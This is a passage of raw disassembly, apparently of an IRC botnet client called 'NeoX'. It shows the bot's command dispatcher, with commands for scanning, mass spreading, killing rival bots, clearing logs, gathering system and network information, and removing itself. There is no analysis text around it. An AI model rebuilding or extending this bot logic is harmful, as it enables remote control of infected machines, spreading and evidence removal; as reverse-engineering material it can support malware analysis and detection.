XREF: sub_40ABFE+1977j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aScanstop ; "scanstop" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C60A mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str push 8 ; int push offset aScan ; "Scan" push offset aScan_0 ; "[SCAN]" push [ebp+var_4] ; int push [ebp+var_85C] ; int push dword ptr [ebp+var_98] ; int push [ebp+s] ; int call sub_410663 add esp, 20h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C60A: ; CODE XREF: sub_40ABFE+19CFj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aStats ; "stats" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C644 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aSt ; "st" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C663 loc_40C644: ; CODE XREF: sub_40ABFE+1A27j push [ebp+var_85C] push dword ptr [ebp+var_98] push [ebp+s] call sub_404D97 add esp, 0Ch mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C663: ; CODE XREF: sub_40ABFE+1A44j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_reconnect ; "irc.reconnect" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C69D mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_r ; "irc.r" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C6BE loc_40C69D: ; CODE XREF: sub_40ABFE+1A80j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+s] ; int call sub_40A03C pop ecx pop ecx push offset dword_4225D0 call sub_40913D pop ecx xor eax, eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C6BE: ; CODE XREF: sub_40ABFE+1A9Dj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_disconnect ; "irc.disconnect" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C6F8 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_d ; "irc.d" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C71A loc_40C6F8: ; CODE XREF: sub_40ABFE+1ADBj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+s] ; int call sub_40A03C pop ecx pop ecx push offset dword_422628 call sub_40913D pop ecx or eax, 0FFFFFFFFh jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C71A: ; CODE XREF: sub_40ABFE+1AF8j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_quit ; "irc.quit" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C754 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_q ; "irc.q" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C7C5 loc_40C754: ; CODE XREF: sub_40ABFE+1B37j mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40C7AE cmp [ebp+var_2D4], 0 jz short loc_40C7AC mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov dword ptr [ebp+var_900], eax cmp dword ptr [ebp+var_900], 0 jz short loc_40C7AC push dword ptr [ebp+var_900] ; char push offset aQuitS ; "QUIT :%s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch loc_40C7AC: ; CODE XREF: sub_40ABFE+1B6Dj ; sub_40ABFE+1B96j jmp short loc_40C7BD ; --------------------------------------------------------------------------- loc_40C7AE: ; CODE XREF: sub_40ABFE+1B64j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+s] ; int call sub_40A03C pop ecx pop ecx loc_40C7BD: ; CODE XREF: sub_40ABFE:loc_40C7ACj push 0FFFFFFFEh pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C7C5: ; CODE XREF: sub_40ABFE+1B54j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_status ; "irc.status" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C7FF mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_s ; "irc.s" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C855 loc_40C7FF: ; CODE XREF: sub_40ABFE+1BE2j push dword_4700D0 call sub_408A81 pop ecx push eax push offset dword_422698 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h lea eax, [ebp+Dst] push eax call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C855: ; CODE XREF: sub_40ABFE+1BFFj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_id ; "irc.id" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C88F mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_i ; "irc.i" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C8DD loc_40C88F: ; CODE XREF: sub_40ABFE+1C72j push offset aNeox ; "NeoX" push offset dword_4226E4 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h lea eax, [ebp+Dst] push eax call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C8DD: ; CODE XREF: sub_40ABFE+1C8Fj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_rebewt ; "com.rebewt" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40C962 call sub_408626 test eax, eax jz short loc_40C90F mov [ebp+Format], offset dword_422718 jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C90F: ; CODE XREF: sub_40ABFE+1D03j mov [ebp+Format], offset dword_422744 loc_40C919: ; CODE XREF: sub_40ABFE+1D0Fj push [ebp+Format] ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40C962: ; CODE XREF: sub_40ABFE+1CFAj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aThreads_list ; "threads.list" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40C9A0 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aThreads_l ; "threads.l" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40CAD8 loc_40C9A0: ; CODE XREF: sub_40ABFE+1D7Fj push dword ptr [ebp+var_98] ; Format push 80h ; Count lea eax, [ebp+var_994] push eax ; Dest call __snprintf add esp, 0Ch mov eax, [ebp+s] mov [ebp+Parameter], eax mov eax, [ebp+var_85C] mov [ebp+var_90C], eax mov eax, [ebp+var_4] mov [ebp+var_908], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40CA0E push offset aSub ; "sub" mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str1 call _strcmp pop ecx pop ecx neg eax sbb eax, eax inc eax mov [ebp+var_192C], eax jmp short loc_40CA15 ; --------------------------------------------------------------------------- loc_40CA0E: ; CODE XREF: sub_40ABFE+1DE8j and [ebp+var_192C], 0 loc_40CA15: ; CODE XREF: sub_40ABFE+1E0Ej mov eax, [ebp+var_192C] mov [ebp+var_910], eax push offset dword_422798 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx push 0 ; int push 20h ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_914], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+Parameter] push eax ; lpParameter push offset sub_4102E2 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_914] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_914] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40CAA8 loc_40CA93: ; CODE XREF: sub_40ABFE+1EA6j cmp [ebp+var_904], 0 jnz short loc_40CAA6 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40CA93 ; --------------------------------------------------------------------------- loc_40CAA6: ; CODE XREF: sub_40ABFE+1E9Cj jmp short loc_40CAC3 ; --------------------------------------------------------------------------- loc_40CAA8: ; CODE XREF: sub_40ABFE+1E93j call ds:GetLastError push eax push offset dword_4227C4 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40CAC3: ; CODE XREF: sub_40ABFE:loc_40CAA6j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40CAD8: ; CODE XREF: sub_40ABFE+1D9Cj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_aliases ; "irc.aliases" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40CB12 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_al ; "irc.al" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40CB3C loc_40CB12: ; CODE XREF: sub_40ABFE+1EF5j push [ebp+var_85C] push dword ptr [ebp+var_98] push [ebp+s] call sub_40909D add esp, 0Ch push offset dword_422820 call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40CB3C: ; CODE XREF: sub_40ABFE+1F12j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_log ; "irc.log" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40CB7A mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_lg ; "irc.lg" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40CCBC loc_40CB7A: ; CODE XREF: sub_40ABFE+1F59j and [ebp+var_A28], 0 cmp [ebp+var_2D4], 0 jz short loc_40CBE2 mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40CBE2 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; SubStr push [ebp+var_2D4] ; Str call _strstr pop ecx pop ecx mov [ebp+var_AB0], eax cmp [ebp+var_AB0], 0 jz short loc_40CBE2 push [ebp+var_AB0] push offset aS_1 ; "%s" push 80h ; Count lea eax, [ebp+var_A28] push eax ; Dest call __snprintf add esp, 10h loc_40CBE2: ; CODE XREF: sub_40ABFE+1F8Aj ; sub_40ABFE+1F9Aj ... push dword ptr [ebp+var_98] ; Format push 80h ; Count lea eax, [ebp+var_AA8] push eax ; Dest call __snprintf add esp, 0Ch mov eax, [ebp+s] mov [ebp+var_AAC], eax mov eax, [ebp+var_85C] mov [ebp+var_9A4], eax mov eax, [ebp+var_4] mov [ebp+var_9A0], eax push offset dword_42285C ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx push 0 ; int push 1Dh ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_9A8], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_AAC] push eax ; lpParameter push offset sub_4093A7 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_9A8] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_9A8] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40CCA1 loc_40CC8C: ; CODE XREF: sub_40ABFE+209Fj cmp [ebp+var_99C], 0 jnz short loc_40CC9F push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40CC8C ; --------------------------------------------------------------------------- loc_40CC9F: ; CODE XREF: sub_40ABFE+2095j jmp short loc_40CCB4 ; --------------------------------------------------------------------------- loc_40CCA1: ; CODE XREF: sub_40ABFE+208Cj call ds:GetLastError push eax ; char push offset dword_422884 ; Format call sub_4091D3 pop ecx pop ecx loc_40CCB4: ; CODE XREF: sub_40ABFE:loc_40CC9Fj push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40CCBC: ; CODE XREF: sub_40ABFE+1F76j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aUtil_clearlog ; "util.clearlog" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40CCF6 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aUtil_clg ; "util.clg" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40CD18 loc_40CCF6: ; CODE XREF: sub_40ABFE+20D9j push [ebp+var_4] push [ebp+var_85C] push dword ptr [ebp+var_98] push [ebp+s] call sub_409303 add esp, 10h push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40CD18: ; CODE XREF: sub_40ABFE+20F6j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_netinfo ; "com.netinfo" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40CD52 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_ni ; "com.ni" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40CD94 loc_40CD52: ; CODE XREF: sub_40ABFE+2135j push 0 push [ebp+var_85C] push [ebp+s] push [ebp+arg_1C] lea eax, [ebp+Dst] push eax call sub_408EF7 add esp, 0Ch push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h push offset dword_4228FC call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40CD94: ; CODE XREF: sub_40ABFE+2152j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_sysinfo ; "com.sysinfo" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40CDCE mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_si ; "com.si" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40CE0C loc_40CDCE: ; CODE XREF: sub_40ABFE+21B1j push 0 push [ebp+var_85C] push [ebp+s] lea eax, [ebp+Dst] push eax call sub_408C2B pop ecx pop ecx push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h push offset dword_422938 call sub_40913D pop ecx mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40CE0C: ; CODE XREF: sub_40ABFE+21CEj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aFakju ; "fakju" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40CE69 cmp [ebp+var_4], 0 jnz short loc_40CE4D push 0 push [ebp+var_85C] push offset dword_422960 push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40CE4D: ; CODE XREF: sub_40ABFE+222Fj push [ebp+s] call dword_4264B8 ; closesocket call dword_42639C ; WSACleanup call sub_408651 push 0 ; uExitCode call ds:ExitProcess ; ExitProcess ; --------------------------------------------------------------------------- loc_40CE69: ; CODE XREF: sub_40ABFE+2229j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_procs ; "com.procs" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40CEA7 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_ps ; "com.ps" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40D009 loc_40CEA7: ; CODE XREF: sub_40ABFE+2286j push 1Fh call sub_4105E0 pop ecx test eax, eax jle short loc_40CEDC cmp [ebp+var_4], 0 jnz short loc_40CED7 push 0 push [ebp+var_85C] push offset a_n_z_m_Process ; ".n.z.m. (processes.p.l.g) .. Already"... push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40CED7: ; CODE XREF: sub_40ABFE+22B9j jmp loc_40D001 ; --------------------------------------------------------------------------- loc_40CEDC: ; CODE XREF: sub_40ABFE+22B3j push dword ptr [ebp+var_98] ; Format push 80h ; Count lea eax, [ebp+var_B44] push eax ; Dest call __snprintf add esp, 0Ch mov eax, [ebp+s] mov [ebp+var_B48], eax mov eax, [ebp+var_85C] mov [ebp+var_ABC], eax mov eax, [ebp+var_4] mov [ebp+var_AB8], eax and [ebp+var_AC0], 0 mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40CF52 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str2 push offset aFull ; "full" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40CF52 mov [ebp+var_AC0], 1 loc_40CF52: ; CODE XREF: sub_40ABFE+232Bj ; sub_40ABFE+2348j push offset a_n_z_m_Proce_0 ; ".n.z.m. (processes.p.l.g) .. Procces"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx push 0 ; int push 1Fh ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_AC4], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_B48] push eax ; lpParameter push offset sub_40F7C9 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_AC4] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_AC4] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40CFD9 loc_40CFC4: ; CODE XREF: sub_40ABFE+23D7j cmp [ebp+var_AB4], 0 jnz short loc_40CFD7 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40CFC4 ; --------------------------------------------------------------------------- loc_40CFD7: ; CODE XREF: sub_40ABFE+23CDj jmp short loc_40CFF4 ; --------------------------------------------------------------------------- loc_40CFD9: ; CODE XREF: sub_40ABFE+23C4j call ds:GetLastError push eax push offset a_n_z_m_Proce_1 ; ".n.z.m. (processes.p.l.g) .. Failed "... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40CFF4: ; CODE XREF: sub_40ABFE:loc_40CFD7j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40D001: ; CODE XREF: sub_40ABFE:loc_40CED7j push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40D009: ; CODE XREF: sub_40ABFE+22A3j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aBk_on ; "bk.on" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40D081 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aBotkiller_on ; "botkiller.on" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40D081 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aBk_on_a ; "bk.on.a" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40D081 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aBotkiller_on_a ; "botkiller.on.a" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40D1FC loc_40D081: ; CODE XREF: sub_40ABFE+2426j ; sub_40ABFE+2443j ... push 21h call sub_4105E0 pop ecx test eax, eax jle short loc_40D0B6 cmp [ebp+var_4], 0 jnz short loc_40D0B1 push 0 push [ebp+var_85C] push offset a_n_z_m_Botki_0 ; ".n.z.m. (botkiller.p.l.g) .. Already"... push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40D0B1: ; CODE XREF: sub_40ABFE+2493j jmp loc_40D1F4 ; --------------------------------------------------------------------------- loc_40D0B6: ; CODE XREF: sub_40ABFE+248Dj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aBk_on_a_0 ; "bk.on.a" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40D0F0 mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aBotkiller_on_0 ; "botkiller.on.a" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40D0FC loc_40D0F0: ; CODE XREF: sub_40ABFE+24D3j mov dword_421D2C, 1 jmp short loc_40D103 ; --------------------------------------------------------------------------- loc_40D0FC: ; CODE XREF: sub_40ABFE+24F0j and dword_421D2C, 0 loc_40D103: ; CODE XREF: sub_40ABFE+24FCj and dword_421D24, 0 mov eax, [ebp+s] mov [ebp+var_B58], eax mov eax, [ebp+var_85C] mov [ebp+var_B50], eax push offset a_n_z_m_Botki_1 ; ".n.z.m. (botkiller.p.l.g) .. Botkill"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx push 0 ; int push 21h ; int lea eax, [ebp+Dst] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_B54], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+var_B58] push eax ; lpParameter push offset sub_405D52 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_B54] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_B54] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40D1A6 loc_40D191: ; CODE XREF: sub_40ABFE+25A4j cmp [ebp+var_B4C], 0 jnz short loc_40D1A4 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_40D191 ; --------------------------------------------------------------------------- loc_40D1A4: ; CODE XREF: sub_40ABFE+259Aj jmp short loc_40D1C1 ; --------------------------------------------------------------------------- loc_40D1A6: ; CODE XREF: sub_40ABFE+2591j call ds:GetLastError push eax push offset a_n_z_m_Botki_2 ; ".n.z.m. (botkiller.p.l.g) .. Failed "... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_40D1C1: ; CODE XREF: sub_40ABFE:loc_40D1A4j cmp [ebp+var_4], 0 jnz short loc_40D1E7 push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40D1E7: ; CODE XREF: sub_40ABFE+25C7j lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40D1F4: ; CODE XREF: sub_40ABFE:loc_40D0B1j push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40D1FC: ; CODE XREF: sub_40ABFE+247Dj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_uptime ; "com.uptime" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40D23A mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCom_up ; "com.up" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40D2F1 loc_40D23A: ; CODE XREF: sub_40ABFE+2619j or [ebp+var_B5C], 0FFFFFFFFh call ds:GetTickCount ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_B60], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40D27F mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str call _atoi pop ecx mov [ebp+var_B5C], eax loc_40D27F: ; CODE XREF: sub_40ABFE+2666j mov eax, [ebp+var_B60] xor edx, edx mov ecx, 15180h div ecx cmp eax, [ebp+var_B5C] jnb short loc_40D29F cmp [ebp+var_B5C], 0FFFFFFFFh jnz short loc_40D2E9 loc_40D29F: ; CODE XREF: sub_40ABFE+2696j push 0 call sub_408A81 pop ecx push eax push offset dword_422B64 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40D2E9: ; CODE XREF: sub_40ABFE+269Fj mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40D2F1: ; CODE XREF: sub_40ABFE+2636j mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aIrc_who ; "irc.who" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40D3E0 cmp [ebp+var_4], 0 jnz short loc_40D336 push 0 push [ebp+var_85C] push offset aLoginList ; "-[Login List]-" push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h loc_40D336: ; CODE XREF: sub_40ABFE+2718j and [ebp+var_5D8], 0 jmp short loc_40D34C ; --------------------------------------------------------------------------- loc_40D33F: ; CODE XREF: sub_40ABFE+27CDj mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40D34C: ; CODE XREF: sub_40ABFE+273Fj cmp [ebp+var_5D8], 2 jge short loc_40D3D0 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz short loc_40D381 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] lea eax, [ecx+eax+1] mov [ebp+var_1930], eax jmp short loc_40D38B ; --------------------------------------------------------------------------- loc_40D381: ; CODE XREF: sub_40ABFE+2769j mov [ebp+var_1930], offset aEmpty ; "<Empty>" loc_40D38B: ; CODE XREF: sub_40ABFE+2781j push [ebp+var_1930] push [ebp+var_5D8] push offset aD_S ; "%d. %s" lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h push 1 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h jmp loc_40D33F ; --------------------------------------------------------------------------- loc_40D3D0: ; CODE XREF: sub_40ABFE+2755j push offset dword_422BB4 call sub_40913D pop ecx jmp loc_40EAE8 ; --------------------------------------------------------------------------- loc_40D3E0: ; CODE XREF: sub_40ABFE+270Ej mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCurrentip ; "currentip" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40D41A mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aCip ; "cip" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40D481 loc_40D41A: ; CODE XREF: sub_40ABFE+27FDj mov eax, [ebp+var_BC] cmp [ebp+eax*4+lpFileName], 0 jz short loc_40D445 mov eax, [ebp+var_BC] push [ebp+eax*4+lpFileName] ; Str call _atoi pop ecx mov [ebp+var_B64], eax jmp short loc_40D453 ; --------------------------------------------------------------------------- loc_40D445: ; CODE XREF: sub_40ABFE+282Aj push 8 call sub_410621 pop ecx mov [ebp+var_B64], eax loc_40D453: ; CODE XREF: sub_40ABFE+2845j cmp [ebp+var_B64], 0 jz short loc_40D479 push [ebp+var_B64] push [ebp+var_85C] push dword ptr [ebp+var_98] push [ebp+s] call sub_404EAD add esp, 10h loc_40D479: ; CODE XREF: sub_40ABFE+285Cj mov eax, [ebp+arg_24] jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40D481: ; CODE XREF: sub_40ABFE+281Aj mov eax, [ebp+var_BC] push [ebp+eax*4+Str2] ; Str2 push offset aMass ; "mass" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40D95A and [ebp+var_B68], 0 jmp short loc_40D4B8 ; --------------------------------------------------------------------------- loc_40D4AB: ; CODE XREF: sub_40ABFE+28CEj mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_40D4B8: ; CODE XREF: sub_40ABFE+28ABj mov eax, [ebp+var_B68] imul eax, 0Bh movzx eax, byte_421C5A[eax] test eax, eax jz short loc_40D4CE jmp short loc_40D4AB ; --------------------------------------------------------------------------- loc_40D4CE: ; CODE XREF: sub_40ABFE+28CCj and [ebp+var_B6C], 0 jmp short loc_40D4E4 ; --------------------------------------------------------------------------- loc_40D4D7: ; CODE XREF: sub_40ABFE:loc_40D94Dj mov eax, [ebp+var_B6C] inc eax mov [ebp+var_B6C], eax loc_40D4E4: ; CODE XREF: sub_40ABFE+28D7j mov eax, [ebp+var_B6C] imul eax, 0Bh movzx eax, byte_421C5A[eax] test eax, eax jz loc_40D952 push 8 call sub_4105E0 pop ecx mov [ebp+var_B70], eax mov eax, 190h cdq idiv [ebp+var_B68] mov ecx, [ebp+var_B70] add ecx, eax cmp ecx, 0C8h jle short loc_40D565 push [ebp+var_B70] push offset a_n_z_m_Root_p_ ; ".n.z.m. (root.p.l.g) .. Already %d s"... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+Dst] push eax push dword ptr [ebp+var_98] push [ebp+s] call sub_40A08D add esp, 14h jmp loc_40D94D ; --------------------------------------------------------------------------- loc_40D565: ; CODE XREF: sub_40ABFE+2926j mov [ebp+var_B9C], 5Ah mov [ebp+var_BB0], 5 cmp [ebp+var_BB0], 5 jnb short loc_40D58E mov [ebp+var_1934], 5 jmp short loc_40D59A ; --------------------------------------------------------------------------- loc_40D58E: ; CODE XREF: sub_40ABFE+2982j mov eax, [ebp+var_BB0] mov [ebp+var_1934], eax 